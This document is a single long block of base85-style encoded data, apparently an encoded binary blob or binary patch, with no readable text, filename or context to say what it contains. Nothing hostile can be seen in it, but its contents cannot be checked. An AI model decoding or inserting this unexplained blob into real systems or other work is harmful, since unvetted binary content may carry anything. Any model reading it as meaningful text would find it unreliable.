zL8RtZPrWJkmhJgH>bmB>qCId?N(yGw6uxjcX#xkWQst$gw8m?+G!6~Qkck>vQh(AFMyLbl&w?@Sf2Wi_Iz-_ zV4g^gn5c7pC)7O3dBV!c3HA;|v3{?4duONM(xnx($pm;QfEg)z#TW_CTH4zDO-01S zR##VZvvK~~2Dm)yADT0dxx^!~7)qWF#UJ#AbVZ=I-c6(b0{n49!ly?5IA zef&kM^6hKDm;f?_*@E!872e)$uw;scIy>(S!gx?o8eW&fxAOA)v`Ap}6m*68OS8A4 z+6xXgrVAmoWrcBPA`HwOF2~E6k~XrxHNmC_*<}5PG9dmUXjfLKjLG*Pd_F~mGBtK}3j=VrMt^dD+P zJ>0NxT(ONrXijGgp_BsRweV2)frgENnxnHwP6b1RhS-=BeZrLuMy|N%=}@2)1N|Fz z#RuNc(p{x3Vro#il)dOyuMiy!93@6|O%F+B_P7CJky@9l2xfROO!kzjsu$_)2$|XN z5hcOp|5ognFzv%weOUI(zyOS)-EgA%Uw_qEUR04^?j8GrQc782N$#h^u&h|}P~`G| zx_e(qX+=}biw)C_IwG4U`tzx-xuP4ve(8Cj3!D9o4H>+4LqN;I5SoXRV^aSMx;kgi z3MDwd9TB&jkmt1>nEB!#;4A0#f8q$PzE=ckmOkW%2yb|XgghW8Cm;SvO+hg>G4T&U zMf7Gzqo^SLYeN1%P38aB?(_faUvwC~{?^6i6tG)NEG!#Mx=6|5rxX-vvH|~A%hIDS zTRoi9w=5YbDfJ;>5}d+dDcFty!51u1Nc5|MRV0fKx#tIvS5;SA>*C__wXCeCr)S49 z38Y3K5P?5`!}em>apJ#N0O)w zQIkTPvh6n!;%R7Tjv3ci+e@S zkOxo4O;h|Ff`WAMHys_9@r>=C1tBkHOC(MCTL8?kWU{rjg(2!391Pvwq#IFmL|L2L7hJ zs=5lLsn=i=9GI{e19$Xm%L|Ntz_Hwj_#t81UXbJY>vU`kJbqhWsqhe%iK3zxweu|2 z<>>F+8A|Mf2V)C7LHCy(9UWM|c8Z}~@cjf7sPGm3eH%iv4^ylZ-=6a0Rl5;2@&W2Y z0@-OlE{;X6-y{|5OJ!Lv-t%fd3WE}66~?V_kaGpsJyPnr2p1QZ zfm>o09B30TF>2mrN)QMzg4s~j1mPNCNVt4Tf{-kh$~}<3Y%ERI*SuJ=+>_95f<=w42DzZX26*Byha>;N9z(~}YTh`F9# z3OOB^sA1`=YO1Ek6|alL8PXIzduf;XA5f_H4Sv3N6?>>b58q>nC;J>`+ikkfT>MdJ zlZMN4I_ZoC!I3koJh28_E80CWpPZBMHJ|2IeeW4PqoQNWIkNAHOxgDU|9(Y%6*aX^ zq-tT7wNzbV+Wg`a)&aw`b;$Peh6Wr3Qk$4z&A!)OZWz%0GSjXIK?{d7~kQCQKkC z3m&>hg2na@%DmIUpWz{#ybgsA2z%21Rv}dyoaByhdJCAXBK8x^DxU3LNgT@B2HkkdVJA1VdFECX*j|zmWqsv>Zz$OFH*@{fDdn zh_scXiw3!BCQnQtPAEK8*|YH;M3Ya|vs=wwHXro%_Qv8DA&ah)r|wF|K{9O)lVRN6 z2d@wA!DPqSn49kS?%lh^YViR4E)YC+Ynt+c*( z@!#+tUaufS-*H7orV3~K+><>pIOmR93&U!RS|+driLT zp14N|jTGhra14s)Uw=eJlh%U`K67w{g(qi;&|mRIFb}8xPaa1H2eINh6Jv%w=8P^$ z-S5+|yNrrv=RY}wCi+P{lFG}M3_EvXBSR3&on7F!N4>O3<~<|0}nxT>SyvUN72IkVwIFELD`Br^;Mnxy?YC&4k4}!>W2jG zHrkTEIoFmUyONMGul)>MQ|l+QAfojYj^bQcaPTq9?lKrIdU}C{?G^=6&<>WzZf>!j zi>T{8&azg}jw2y-_w-;Ke?&Xu8%k>4dn-$JhK8I<*~P_9gk-foG5Sxv%-$GwRYl_i z!7{bg<$j^X`@NSA3SExqw3t2JRBu(iFt9T}hB0FM&>mz9wL ze=tD-fdwq7Q>=(MZmtCpDkQ%uP-33d%m82vM{BToZww;yLI3z5>?vVZLLYV9z-{AC zqLu&&9rIDJCt&dd3j^%h^Srb3kfx!&KKoiNxm|Hyk%97^F~sL^BgLbIaXH$B$7S~L zoq-1{wDDfk*W(l(HS9n0_%)WB;ZnK3L?cMs1TX(*@WcfHl~v;G!nJHeMHqtt{qr?k z{^`a7xxw!FnY5A>`ON`c|>3_%Vi5#&*UUGhqYH0^s%gQzwX|7FHVPY5WP0@w0 zfno@Q>bJ-jgoA6#3?|ka;YoIm>x!(b320e~UyMymV#TeDR8<)m;5SAzT8aC;uI>L6 zbI)7%uuS2+*p1Y^sD}<5?SvQ>-yhq#njd3S{@EOyJ9FkWuLfc^TTar9J-0FVS)Vqufoe5(jv&_%`wpSOof5<8F4Ia*~~8tOBUYM(-0RP zasC^2;kG`9GY$&iQxi4Leek0dWn=3F!HizEEWaw5@TxgLzc@FS4L}R&5KqdP=U+wc z{j;4S*ioOKv}x6w+-Htkf{vqi-7YSW{|4Q2@Dw%YSsv&fM$)w!rHtMw)pfXdt{X=W zwZymK!O5YT#>O|`uMv*Cr}B`G4IfV){>M(9mD{&|GRcdfB}U2%*O4Qr$i;;OO+wt| z=%;k{Zpz^n8(~i`Jv~E3MJ4?4uM?A^NP;c{!8hQhgIGNJ3cbDC-!P?oE~xf0!RaA> zJpY{<|5u``qHEXiu>JIqN|G|6Ji;yx<-SEB>9g_X5bEPBZ%Y8N5;d>LtyV#7oQQtZ z4kH;@V8FKaT9GXrACY<`>?YX`LjKu;W_K-4RUMU-lyoQzlxBO1Ts_=bB6$#HtzSUE z1FB1xz5oG2GN%q&4=+R4DL~k`&FLGfWW`IQ{AZ)f5J6`21Lj39)?}0*~ zAG_-zT>bkCL>&0eF5C&E+Ooxw_aT)f4FmnC{SB#7xD!UB8Qw#fWUTZ*GxxjyaE;V7 zaRjh197(Xq8$@w16TG~7Iq94G-tUN|*Ve zg?BeA)SM@KsqPt~7|y#+++$@upr;!Py2Bj7zp>@4D30~CegbRNy?ax1)s&Lz+uCrX z%ih0_K>ZS*3*Yi!;88r(nC5bz)IOG^N5E){pEy@}+MP{%#+RLi!C0`E* z-K7gsMQiSBfVO<}5Hex#yp08D<gM)k+jd1dOp&%*?bH2*>ZW{#pPyg4q{59bHTaDGfb#81u_5t@hYL?UUYJ1G z!d&2y(kq2s?m1|7P&{!jlt6g|Iu%@_-RlGyP>zkj80G27`)XXvRd8ztLp4@G?E3o+ zbWU)|784iePe6z!JaU+Nr|QlMkGYF%Y=dvsDgE8wD~1N{qF>Wpf3_QRH($w>D@53i z$=uJwV}eA5RU5=|L7P@|F?e!3e{qn#+B@guKAxDU$C>K7d8DT&5X@VNv$jvXz3B{K z@AuPWe=(bvEWgj;`!L<0)nhlwSXaywV?m1@38_!aBOyX74ZRX?z$HQm$u*#3r%vb= zd=-vT{i8PZ(!m3h%P5DT<$vmX#3S>Sn;YfJjEyo1~S5!vKQ#_8Y&G;qt%@m!BV z2ti;ub@SspNwKpzcLB_F&-|LMJ8OF!ltlho^nSmWjo?J?S=k(ixOy5ngWN)Jpe5_C zb))_Vf*mGi_rTnc)4uEaB}U6yytPk&H#Q0sCo%2XbunDlM7iF)apNI3&q0`l5L)`L7p0|3<$vdDuzi#|S^UMs|4Q)m zmDr5@$Pq11Y-k+jhPevI%z(KC;|GE zYBTPMIdif-+bB@s;-sC?{4+?K9#QQexR2l*_M|;qD?#-i!-%P%0AZmCRZjVl=OH04 zV`Crw@iGsVP5~hGV8mOhJUW{G+uRPl*vgGkt}D25c8fE&9Lmd&e+D%18V|;4s-AsU z&X%utJ|<+|;ax(*;=E)DaU0w_%kCv@EU6=IVGa24J7to(QywZZmGd9rJ?*jUH?0?H z>?Vj9!HA6iiszmPc|GHsR!(0(Ev7BC{lvTd$6r5@JA#>xu4UJNlC9DFHfwVWiwTT^ z)*1{)ld6zR_Turo21A_Rf|bVyW$qB6MNZ;??EdbUf<=rcg02VCXsc^zu+G9;eEoO# zyu{xcaIOjur_Ma1je_aZ;UzrKSf9gH!m3uQ$++KqUqp8r)2Z#e6skRaV>zZsWP)7ejlTK zx2wSmwF+TrHCNy+_5)iD=F`8;J!rx&#j|2>YunWZ*6~v>|9%&m-zIBgRYqwFddtVY1k6~S{_@q5KkF)NGHHsgxC%_w3mXCGBzOk zHZyDSwb+hi+m$R$>};~N%@cn9W%ucMLR`A;itSPEo9k5JUVO&bcnD1e7O=BQ5VH_e zQ?54c*u|pI!YtvCw{|Ma&x3Qk9e5k%cUaGK-^qWv?U#=K63qeb%&e?xk)u%>{*jSd z85lI)rH;1M(i=p}&bQ0Gm&I1Y zCO;|uQ@8#{)6(eA5oC^d3rNg(zVZtRF?>4Cqku?`G7zvw>4`f-Yt~Nq4AfPcq+ZD3YP@t z(qP7i@LgrtvquboB=QZ0mb*rV5 zv~&e=>L{7fvN0pnc}~GH^8_>lyi#IcAu}bOO8itwkuaTN!tjf_2vY0W$w}jy7x#r( z^shTRuVNXBe3(G|KhV^#1Ak&RF2VN;9*#CBgZ{Cv@ZXmheAeeS9>#KsB`X*^p?Z0r zUbh4TMd%JT=%69L&n*F&^BFBI#>Rjt!v)9`89zh>xF-r?miqD~>jE)G z85dkSEHBpOwd-|qvX>a|wqQnr%9|({7Z*n?3Q=@@u=@LFSK3MC5CXUg7T!Z1Die>d ztw{cGv-c_$^;vxid^kmq>WYeOxR%^(EAoC-bXw~#o>lH9{5E2!y;gU`3AlpNnplSQ znsE9}pOZYrefb}YJ7Uq||2J^k3$7q>lzBGbZY)J(V+y(^*MLU`fFiNSD`##3cUntJ z3lxF|#CFf2u6Ga7ZV{6ZJmUyq;IgaNr9FT|k`S{oYn=cP!!g!d0_Dhz+Ch{M2qQpGCY;u`qI&{;(dBl?A)?32R%MX zPSE_0Wo-<@eYMln>umaSu-a z>31^-0T5BZkg=w&4(pE2PeLU7@iW}jFd-@|EW9y2F=6p~uD5arY=^9^txxGAJ~;yU zf`if;117NcYO4JH&Lh0WKtr&FCnpDUC5*S+mkH%FKJWkw6P0gvOqyPkedhz-FL{Mb z9`XX8+w_?H7!1f%OAK(;1 z0)Un?@6WbktKS)8w32d+pIu+0NKcm`l@b+k{O8GCOJ))LQR!+*i)g}ahp#Bjd z2pYcJ4A}~BH3V=QYwI@H_MzoRc2zRByTvE-qq*o`B}%2y$BstNV%{Q^ijLOp90GA% zw1MYv=7X*E1xece+Y{jEpAa2g3zxn}SK>YakBX3RWI9E+zwyI|9(44bjiB@iXqh+ZKUA%kI(Fgo zW2vibx;QLVDFRF`kU;=CI3$;xq`w+7!^b{)|n=^mL(M-Iu&Jx-m1l79PD z-33gmbmL4>FfbFUmN8Z>hBd8ybZ$ol1aKC&1^?b=!gUP4_}H=PFZlxqZ0wiB*-7+j(If9vD=FOXVgQin zz#Tigj@Sz|<_zFY<++E32@n8a3~lJ^0Kj~H_b4@$n9KQ#fgq+}nL><89KwZec~%s_ zPaVeTXdB&=grh!k4w?PP;|E@cItuAh(O9AGDqzMxhbjUL-B@;3agVwOmOC#ZwQ=+5 zXHN_qJ|G8nA5*R3^RdR1-AbG?@4C-G%=jP1BqK3D;9wg)CoCdDSb`(BU~mRc)$3>n zV`5{cjJ=tNy?6!KZHOixvPYD|M}>v2WSqKS&IhMZ(UUx59aovA)Y*;0E`fZc6 z%H_8;1aWL$%^vQE5MCwT2lt>a^q#Q=qkPGO*BiY@gN9l$O;GL#s$G-FB$6q~-#ZjU z*{3h+;Vw-@$$~k4Oy+5EzO%tMGk$Z0j4$tV7B+WiBi|vq(KTZ@FCi!Yl-tc2>4&5WNV|SdH^&VJy7r38&Zjk`@Vy?w2!UlMkJ*}uSYbZjclY-B|52cyH_ z_oQ|@Qt7f6X)}p5;#%JI@@RQ$v)$tHRU^f;qG>a#tsGIbshM44L!2s|SNX=|)ZUx> z^p6g*4yrN4tnri&wbC?oaZ@a9!JDMi=8xT7u_Th`ezGGZQu@w8d;m+gsnPzv!5F9U z<5?zc2VZRpJ?^Wv^X8L0mD**;U+Ns^d%ngW)*oA1c3bs)cPx4Cj$L9wt)YTxWC9t9 z^YO+~5~)<{=`}L?w}HBHieoXG)M84m+Vs9RkG*y6)VQrlB*{frI*o+yO%<{KOKhZ4 zVtD2$SV^ELcCTqK4j>1b8>y%HM+O4_*9W=pQ`xjHJ)$> z4W1c}FS$M~@el9^Z`S@`EY9xOQM-D@5s%8)$fUD3$Vm#%fA1x(s&CyAbB^$w@Y&_0 z=KF%3Z(h=Fp(mZ>KTo0{k?vOYHk5UD^;z8TIwY=@f1dZ;H^EM~@9huhNGE@-yN=C}l-bQ@Zx3aT|2b^yYURWrzUI?3ceXh1p{>Et^LdP7`ElFLEj z&F~X`lK5mKlHr30imvqZbf7TA(oJq|?pz6&nWI?5_THyf&)|-kK;&-z5xB?zF2)hS z&)9*PT`ovpeA|`DCJ0N|&eatglr$oDWiMSKC~l^vudSY8$Z!|!-VbK%;3&b=(8_AR z_7z&_p6xKXUp;`svd)vZ7p%8V)IV*GMp9Rc^!DG08|NhWHx#z;j-}*;(z22L- zl|AVyg}(}XWB2I~0c_+VK7&hl=@?nMp4?ll!!1g>2H^it(CjgEgsxHwv$~lKb{`!K{}M`of0-9i%cCAt-cZ+4;s3Cg6o^if@6P}0U(%z>uiBWVO44!F{1%&T?l_BAbemqIN)yq)P4K= z<8Dk%LNX_SkinOEY;=@wP%VU567lq@Fno5d-eh&{8#$8{Y*5)o`xw|{3h@a@o>YaK zN>5k40s9eiCI=YYM6&C)=D5&?;e}t;{Y9aO-;MQ_LXAG)Q{@VJfRkF~LW7O!90ku_khL)weXC#106qgw{WVl?%)t(#fL&1N z6I~NXVQAjwY2w$uttUrBy-@IbA=3ZT9aEmDo#+REne_pyF zB|^Pr3qa^EMFq;wP>vLOyRiEd=4jCaD@a!f@IH6r$#B)1N$C<18gk-O zao!yn6D?i)e01bQ(jbve?jWKlelG1Jttb8|c>nLoui5Zleu1~l_NM~+o@B&dcM*>! z+e}J7jLTNN`U|(jir@?>jL2h7ZxH49vN@_P{OJg>trLRvt&9R}@J;-5-ddA?ya_(o zj(}1Dw=Ce)p}5Qf55Dhie=HrPs}l(-es%E?XHdH^{x!mifO&ZT(iesBm-O2;Xin|avW>=TWuh~e zo2!dB#{0F;k?vOPi}K?tbvz|u4+tpptuw$iH#avjI&qO^y5@^3tW8Om32Fw4@K>7o znL(B?W9C+U&FPVR)`J$8!>y=+X5+@1!P|IE;qAeIg6DP{E_@A$ij9e>3gI(x96&Sx zoh!76VUpq+lm4kXFRirD$jOoi5E>*`V|g`zvSUoE^PV+;Hlb7Ri+FqQxS-%4>|?PS z?&&$O3?g(V3jMHvrPTyHfsIrZ&(UviWd-X7T|6V>+L(jU0w|x>&k|ZpCGa@FgP?am zW6gx4tIC6nvcalOioS)f#>2)@CZcYc&j(}c~npNxVsx-;4B!zts>K| z8*(0@n&+7{!qhtUp}EDyWXIk+{+A4#jVH+}H?Wmg>H$OK;Hi3~FL)=)fRV#@zW0q} zLqe4PbHJ~a8?5Yqvb}D#TIyYV-;x<+?XcZi>|mB34U(V<&;ayV=zSRuY0hEWN>xAh zPv|UW>|d;z>EW*4&nK@i^Ni1V`=o?tuleQv^(Q}unrf$L9BVNb_%;$)xfH4>#GPjT zWN&6scbGxscm~IrBzu8sjmZsDk>2IHm9wr7`ChMfuJ?T6qwYfTUZh;N>#i3`lLSmK zpw6f0%v-BI88m%;UuJQtpD>Gan_oO`+Pv@jxeldg7he)b13q9|#U@T4bmm5~zQK8vbG(E-6CTg0@ByeBMZOD}trBoAO3^O3omAieq{2fS z)L4b{_B}qwiGjiR!-hg&Mk02TaYdCO$E|7O`W&|E2~Id z(qS(B;+YP;t4$ci2O0GWeIs`MsQS|o-cYjx;KWr~p0qPCk0|Or9#-U_wa=vTszZyE zfL#k;3&+i4He;HM3Yp2b1J81Zs>f7=Sc#*^nylxn+`rU#)%=2~-|D9-7usX`C#UcD zU%2UPoLO-3n3$O6gR`h=;=2wq#sa|z@Xz!OY;$;>_2u`V0SiGO^)u?7d0(kFDeg4s z_>;}QH8U!!#9gGgvBlSpN@KFD?*_Sg$odt)G++0)+!7OlXNq2rW$?0Jh1)USMV?5z{&{BmM$&Wr6p)a6`57>D5H+d^n7PUx1oqqvancq&sq5+AA+ zko&4psR7MToC`rgWRD#=$iAtJucHP`TUef+)5f zDle8`#HQYuNfYcCNxQpOJfto)|4IzqE6r? zY+R=jNN-qn3o)xHeN%3#vXX9_+qr){ma}@@zMjosgknjPfX^O|ShLgZW@dXcOS(l? za;kcot5+PRBD{;jg^Ddmp4*XtUf6P8E69%9sXj3^6&Rj^e+jWkR^kub>ex^a=12P- z8_?r^a8RXO2s|hQeV#z5dwj)#aWi(3?Ecz&t*`E=o5epq=vwT?e9sWT9c+55Zpa8w z=8Un8d+W;}UI)YqICrXqu-EnGna$YA-1e7g#d3fKn#spkse|jD_P8`sRWtO7zs-3V zG{RP(7xlDgP)$^N6)@e^MLfX@tclZRX1+I>Yp^|F$|aY5QF#6<$ESoS$L9{(c}2ca z4%))IXRV(cj(L>Gn|8;{3E(f6wluf>ku%E5L9J$s8P|I(^|zF&Hxrjfjc==n+&LjV z;*wAgZ!AI?)fq+_TaO;`?r=~NB#?BBI9ezOd>I-{yai!5636^`pII(=PX_2f;<0bTFOuuOdR zX;*3?nrA)4rw`t}dzJM^rKNZ>|L1?PfB;8r|Bl#l!2EC@JM# zHhKI8oQM|Cd+SZ+t6omcNkxrJ1;zcwgLE}EG$_H8kzo1}MIho@uy>lIBWQ>+k#Qv> zJ_7@W>LHt_Fz0DoF;uLu_j)rfAMgIpZPA@+(m3&4*z$Bn*yyLnKA(d5CYz(kCFCX} zF5Wk|N}4wt{;DlZx=XaNrNzX=9JbGyN341)BpA(1?j(6Qf-g?Rh_piFB_DZ-`CeeJ z7(TJ_RTR#HHws);-1ijPgPGd%ET~;&^Dm*P33vd%pul>s7L103a=WiQnF_jBk9>>q zKS(ipZ!({cyJYHujt3nS_p(0Ug@bnAYFf45um;P|^Paq<@J397Zn7h0bn&vv?ZeM~ z7S)GxTeQnY(x$Piv%_ieR%M8gmNM6;>(=X{TiBy|7Yn&sei;cp!ydPNeFvw-ZtbQF%0W5ayXCEx z`S<*52LrhT1+%f{Ol0QU;=iX%YWaOj9+9k%mNeF#dh!uhk|+1W%#9Bpd$_gj#=nuV zaLmiS)XCy|>X3Wq*Wo>75zYp?D?)wLUs#Z(FOBPBmeSIpV3^##cxJ13 z*|(QJ$M%svm~D6QiolowbIBEiHbsTk6YuE{&2Uho9k;oUx7jAq63mALXAFFQaz5;s zoGhD!^UBh55o-_!b}}=kl1K^{D@yd0rYaZh->07`vT*fUrs^uboj~8^=jVq`@|d{z zGO7ZCB;a+pn6p-`GLhu`yL=}`eF5KSfPkZo&|glXdf~3H?s0nz>f;&#?$W$XW9P_W zVKkVM+abW@g93J}E*_=5@AQq+>VAcF#Fmk#7hl?R*qt}KwPz+&+X+0s!s#&#i7;gJ z2hr}vFEIU~AscPUI=_Y>>;ps11#~$kh;p#Z2F%HP9+0$RB!j}kxpTUo zK7EP}h#oaySt;m*;^Ui|ZXgVx%#Xxu1`!kQ6U;# z=TIh{Uqc!Lv6?ci2~=yPTcP?%rwyn|L2iP9RFEs+9GPM?kbR%3MlZo9jcx4f=Y5|( zBcaFNKI}tHd^@^$+(P)y4QJk?&aS^<|7ReY;eLGcBD&dNUiD1uvov3LLx_Jv1A668`?cU^e9u@S8wi*46Bk0d;re)q;f+hT8fF6per?ZnK?Y<%lYDVpeM z)Ucq5YU#eIHH6ES(@;`Ersl{Hh71A9BVAqlTy>L{Uxg+--m5fRIt0iMKT>I3>#n3V z<=$$;wa>vkj@ISbF%zNd?;k-7=73IbGBGr?3BXvr=?>sI*Ykj7wa9xG^99@lYEo$N z^F8Cyn-%RS#Xf%gcysVOUWvL7Oat(T%*x!iQ;+Pb-HG2*+8$RuS>E0TUENVMbmz~1 z0$h}2Ac4m57xJf{DKOt- zlX(XQkQz%XNaaXu&`PgBX?~E6&6`ECIK3`yyEi`u zf1k<6M&mk#>3P!Qc2-~s+1@1Y!qSht3QyNHz^)vR)!KO^&HQ?D=)oEsankbCKZqw8 z0gaMKFQ^DO{C@Fa6%71%FlttM0 zIZ^8Eyxl1r;GVIXMuq(&C6h|5v3H2Ig^GB$vXka`N{H zqdOeuJS1g=!-V+wFV97e^7AV?a*ByL0L28!_F!OTt0cD4p^e6cRU8MA7E#d%h+^0x zZdFW3>9MF=XCn5H#;6L5H-^N<-T>;$_T?*Z03f1xsXB(?80Q1f+{?l;{_`h4_*3wg zgw)Ltk1(DF3~AvXIo4USiXsRB-c;xr-d)tZLu~Lbww;}_OOw0+C&-HD=M3ue04Mg& znV|;R_oJwzK=P`~F;Tlv@=a{&B1W8XzP-JGVW1SEVUZBqx9_Ct{^hmM5v04_r6DjX zo(YKx(WM5<7T&HjhP4r#eJnK4(Rl%Q2QD3PQrsVi5?NVU8S{NDr};jF@@y~!z#(5d z!Y8LZ-+kMMZ+5{9Rq0@FZxFPyQ~j56u02Qv$dQ$0?LcAT%)$}{zBkCz!UqrbgL8=W za*6mHBYs(zs~3ttoCs!a{E_9qn8H#u%{!iZPq#tpOT_b_?sr*5<1yERJCgboG!Jej zF&UuDfF={L{AmV+dt}%*hzd)KGaMT2FIFxuo zKEk(L`esPD1#%O_Yhfb0f$@p{92`I9c=BY4(&{2_u|aF&bm+@ROtN;u+~*>cG=+sJ z<_m4_(LF?ZI+@W%+7ob!0c&B|YA~d}S}FX&4(XJb<_g^kuQfDM&PN~$dJ{->w`%J#lus#JRl2lclRT`{!Sky z?{8`F{{8!2)II+lgzZtLGd!OYw$pSVo~J2q>0>cF>)mSu(>EN>zN8f6SzMhg0*ldF zepGdVCUMT}mRoP!ZG)X>tPJNaYhPP!>s^XkM{l59(vX<0s{VVeRdmn{m3+MGKUip2*1ztz53$o_{-0v(w!4SYN`poUcUC zkXrR>;kx3$@G?2~soh%FS{6Qp{j%ZUS&@K_G&?8t=ZnMo7sE>gOotoFZd9&H%FP>_ z^#%0?^Ble?nzn(Q>BAX5m7!4Xfr<;qlY_$QOVge02NHd-k~PwCJ)fFVdz|dtJdeEN z&b`b7tIPYw&js%llYhoZw%)~&J7jHkW)Kpj=N0#zmL@+UKAvaifKt`FiIWMXKE4&# z&WKPxOenD)tveJS5YTxd%4+y?kNcx7(Sv-;E4k;w?N((H$;JwhX1&skpaXixZ0Z_Txs_V!w}vL6u%TaAB89vY`N`Z6v)N<7$BRU>A{;V_4X zVz@%3TEyVG^xDmQx^P={u9nPvwOH%zl=W#FcTGon&Udz76wP%@^H}*+sF6`yNyGQq zvv%MYZ$=C2a<%=y^P@gt0pCM(Kg2{jOJ>~g3OFn@PX_E@#5s z_5TcpEpp2rpZg-Isw+1tknEO!OE`)td6%&)*K|$%YNRU5aTZBB`)tcfxl3Zcw|vD- z1SGa4nl>}pcVBrQ&rtlKF!(}CnaC$dCPX1|+kb0`yFjp4yw)VrnSU`%Lb?d^{U0u7a zkByzo%fBUIu6NthD_U8if5Nf49CXhE|V~j+_%>N}gl9aX`RVb(pRl-rtBQsEicX@|4T2euiJz;t|QI5Yps<`C)cm# z^_o19A-d+$c8^&dlEu~uNo|x4h7XqZ&^PZ(jC+XmKm7M)Vr@l_a(TuNP5vC!wJnYh zCH`cN15X=W_$T8+afM2$Z+12Lfe}+WezFPSsnn#d)C0uDfB)zDH>J^6`6n2u-icTU zar-t}*q69P5p~5JBO88Mg~Zs^g~hH%=CkFR-WO%1kMZQ)u{+`@rR|pR?B1VO&buYm zw~{zDQB^6B=nAy9{OI*1!-(c5-T!3r{9iA#{w>sY(HGJ&Fu*Bd9UQKK&n%!bTdTc( zFrscjt#S_pBJ}8sC|p+-J6DNvKfe%D*Qv4{^4J2zO}yA;(Y0NLFv&$@TMPRe^jD}d z2n+|KIpam7QEZ%PDCCfPJ~25ti6y!aAHW3|ID-XHb#&M0WR#eLN5XFuasySas>XyD z)88kxhRUMV6?N*|-++z!(F`5b+c5Nv_=OhEM~cw<%3NP0aG`9YSUPD9jc__0%rUUE z@d^qSRKv1@!852vEPMg@*Rs9BnevbAS)%#Bo`@dUl-HPi~ba#wOl}<@1?PtWkSf0~Rz! zXbgm7H;`WFPj+an1?tieZLC4O6m>0lUdqG; zA4aFSU5^Bq+KM!nyj9hZM^+_4O818+k+Dz-ZizJXvRC@7dagI1oB(hXi7 zyL`^g?|TIiCn$W1>))7W1CUUf{5wsaJ%G{m%`7`~66i)~FQa~Jd2#9?APDI~EoYNg zjYDR*?015pbWGfYD$vS=&%wZaXJ$8=orW2#_fS()i;&}}ru9Ipg!*;4dQ2%QNRM!X z09^9Mr0EbldmnU)L%9~qOG}$6KESx35A5qT8S#c;Zpr08fdEv3?qUkAj#>`IFnASv z+SvOJU43)$Rh7Kh?=tj#sHqy!pRe^KFV@}NNpzHr$!dqW$Yf6hze-bfiL&cwG_tvS z7mG@}Fiyh^kl25Wt>VMn;5%rh>zqO-g!jjiZU6K3fGmkt6RZVXl?%I|@?EQuX#PSf zV>Sg2hxt`VK=GerXlg|nSIU#q2^_m1KVRP{wCWZ_M)ieCg8<0~K(NTvynQ0~ZZgbg zxVS(T<<9f17?1ifw$9_oa4SiY z`DD#h_Ddks3^^ zsdXb1NZ4Z(IN5lS&(A2y=G_v$>s$&?r8R-p`%EA%A;J0*FYc&J!gt2a6vid#@_T|v z7PAv(_@rIT-Tyg2z38zw%rnP^1v^{Y<_^h2hrYtEfe6J4pIe@i|F3s>|FhY4^u+oJ z^de|A=y&Y++kEI8_m=sIa?kq@dnqt_tGUAPd2+Zp5x zqq!Y)bhlxh(+L?V7ncz@7HeGtX;veeybJf`v8(H)h!YL%?T#p&0dK+W2CT?=$SH>! zQ9B-?DNt2;C%Jr5;iur zAK}@x%@9rl_)`yIFv?Ax9*FgonfNO9b23^t(h~N;wvhED4#=n5-dEcNK>mN+({qw=8 z2!T|xhgg;!-w&jggPr{Xi;;hdT8f4W1Gif0b4S5DDL|MmMv94G`;V?2$e;@fwzhLf zH(1Va>0n@vv!UStB6c5FqK!TeJ`n&DgMJC(o4Rzz*N_3Klq7WW7XkugapBZ6^)9F@ zd=o!JqWXp>J&0@^y(*SVhxI9f>O--GN&4M9uwS9AcEfZ7(4mMSB!bU?mMS;|TX19; z=Yde&!*Mw8y=(vVD@;52H2xq5q=8!nV1K-5>MOnlv6&lTEDd`Jk`f}7&?@7{GeT6H zd;y;{fPQrVp_A_=1TXM4h6n56LMWXtSQD0k-V3SnQVw^a-4< z281dAyU`N2Ax-D%eHjjd9N9QPqt^(S0T8KwHB$!Q?OKR9$$$Giy-v~-ETjQn=1wN>b)}&U+Jg=5%~0uJ zig7|jMM$EvI^c(mrS8fG!hcDCbipCafh z7@z>su-nR`u6EA0FIcVKOH#Jf3F({7`PDjM(P;y}IMwIj;b3!njz~U?TN*DjQpcK) z@XZalML^N8#e+yr0!5FA;zQaV=Lnx(*xrX zKMI@a#YkWXRo()31vARIUvBYJKK*uNm};BXnSEUFFwS*|K9gsECvAq3OE}` zmY}8+M6^_)%{cSnl;zH-nR$b)7AYGyp?{3tM*MHG6jL zx&k5o1z%drlqo`$PKTcU{+G@FsWYGS-c0eZl@_S3)J>|=6A^Ov z-v;zt5+Ck3XJyg9=&_mjb&Cc!7&zyo()Ip;1h@z38ir#bbe6!bz^Rvgt2~s9(oh7C z5LjMu61=XBNPA%D<>A@B`_xGa;Z7hyJGyBY8@=@|m7L~o##P?8+~M5&VU0m`((>kF z;ezM_V_ZVyJ#G;ZJ0PZw-y=~9HiKDkhXSlarQPhuvAQf4zw$E4o;B(=id;B@tW6p` z`Rvrpdk$})U!pTihB6D1Qc+=H09xmbOB!dOaF96?!fJtN3}HO|3-|Uht{TkD*x99M zXr}zJSB6pv{Q*_>5H%j{wCH_!hKzMWq{`vn1;`(nZ@Ska{|Le`f|NjoeJ^8;9 zg8z5ElHP}7$Nt3v{yW9_f9G%X|9^}B{G2|h{pf^Q6L4R2$B6c&*P_1<{<-%S9sN5U z1>#J1eQj1=Clq!OJj{Um7fSM;_1Xr;$~_SmAzSP0@{S6T6B0x6JR4y$qOAWR@=Wf& z(6cYp7ULEhh=MZDT8LcdtHZ~)<=Z!|y`Sa(ls%tPvR>0+`OYDumX*Bqp#iahpXJV7 zYtNJedgAyp3_=I|)C4Swk<3p73+vvo%~5*NKAc}DI(TU?q$A*S=<~aHmLXZ5>*d;Wm7*(Jj5vfT#^IQA) zr#Dlo#J3^MrY+9YcQOtiaMYY$HB#?>%U4VBmQ}qe+(~M$bHdo2_Wl*itQg-jQ50id zcgr<>`1{0ll$0hr3upOO?#;iEv?=3Y<8(Ft!INe)HWRmYg*XLf4ajYKlFGVxxXi`0 zCY5c67J8^+S!M!`Jdgj@d{<)FS35H6*u9IQQQGos#nblnOA_%`dq(T}lFh%tGR4{A z-o1j>?ok!pg?g$K7Q@u$`}{jzMu^xujc)B+gNR&yw7b!F-Oifqc$v6Q(oJi+Jt57P zx9_@bs+7k_yNvxVid^oDZk-=FSHAnHva=l>-*V||$7o$Vk30>NL+^lxN6%yPg*y$8 zb1=7O40#%~G-P6~RZRPG?TUDMET)q!wXZb$8Ga8)kVz8{w^-5`8sS)a?k%F-HB?S1 z^IB}z@f&A)kFT%hmE5;UQL^NU>g;$ii*qp>Kflo!rMX1&P}IHgK*uOf?bMM9{y;Uy z)u{phhw*(2)9(5_&SEwzF`;T6Azz-|9<0}5I$(BIE`0LlH)h}Ee8(nSSP_vEGh;2& z7mpe3s-k*{b{f{?;8;=Zc@<7$IX4OyEklkQKGhZ 